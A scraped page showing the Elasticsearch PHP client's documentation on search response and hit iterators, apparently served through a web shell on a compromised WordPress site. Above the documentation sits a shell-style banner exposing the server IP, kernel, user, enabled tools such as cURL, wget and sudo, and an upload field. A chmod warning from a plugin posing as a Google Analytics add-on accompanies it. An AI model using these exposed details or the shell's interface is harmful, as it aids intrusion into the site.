Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/hopeinstoughton_www/vendor/elasticsearch/elasticsearch/docs/ |
Upload File : |
[[client-helpers]]
== Client helpers
The client comes with helpers to give you a more comfortable experience with
some APIs.
[discrete]
[[iterators]]
=== Iterators
[discrete]
[[search-response-iterator]]
==== Search response iterator
The `SearchResponseIterator` can be used to iterate page by page in a search
result using
https://www.elastic.co/guide/en/elasticsearch/reference/current/paginate-search-results.html#paginate-search-results[pagination].
An example as follows:
[source,php]
----
use Elastic\Elasticsearch\Helper\Iterators\SearchResponseIterator;
$search_params = [
'scroll' => '5m', // period to retain the search context
'index' => '<name of index>', // here the index name
'size' => 100, // 100 results per page
'body' => [
'query' => [
'match_all' => new StdClass // {} in JSON
]
]
];
// $client is Elasticsearch\Client instance
$pages = new SearchResponseIterator($client, $search_params);
// Sample usage of iterating over page results
foreach($pages as $page) {
// do something with hit e.g. copy its data to another index
// e.g. prints the number of document per page (100)
echo count($page['hits']['hits']), PHP_EOL;
}
----
[discrete]
[[search-hit-iterator]]
==== Search hit iterator
The `SearchHitIterator` can be used to iterate in a `SearchResponseIterator`
without worrying about
https://www.elastic.co/guide/en/elasticsearch/reference/current/paginate-search-results.html#paginate-search-results[pagination].
An example as follows:
[source,php]
----
use Elastic\Elasticsearch\Helper\Iterators\SearchHitIterator;
use Elastic\Elasticsearch\Helper\Iterators\SearchResponseIterator;
$search_params = [
'scroll' => '5m', // period to retain the search context
'index' => '<name of index>', // here the index name
'size' => 100, // 100 results per page
'body' => [
'query' => [
'match_all' => new StdClass // {} in JSON
]
]
];
// $client is Elasticsearch\Client instance
$pages = new SearchResponseIterator($client, $search_params);
$hits = new SearchHitIterator($pages);
// Sample usage of iterating over hits
foreach($hits as $hit) {
// do something with hit e.g. write to CSV, update a database, etc
// e.g. prints the document id
echo $hit['_id'], PHP_EOL;
}
----